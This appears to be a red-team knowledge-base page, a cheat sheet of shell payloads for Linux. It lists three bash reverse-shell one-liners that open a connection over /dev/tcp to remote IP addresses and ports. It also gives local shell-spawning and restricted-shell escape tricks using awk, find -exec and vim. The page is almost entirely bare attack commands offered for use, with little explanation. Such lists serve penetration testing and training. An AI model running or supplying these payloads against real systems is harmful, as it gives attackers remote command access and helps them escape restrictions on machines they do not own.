Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / SHELLS / PAYLOADS

BASH (LINUX)

# Bash 1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# Bash 2
bash -c "bash -i >& /dev/tcp/10.10.14.41/4444 0>&1"

# Bash 3
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196

# AWK To Shell 
awk 'BEGIN {system("/bin/sh")}' 

# Using Find For A Shell
find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

# Using Exec To Launch A Shell 
find . -exec /bin/sh \; -quit 

# VIM 
vim -c ':!/bin/sh'

# VIM escape
vim 
:set shell=/bin/sh 
:shell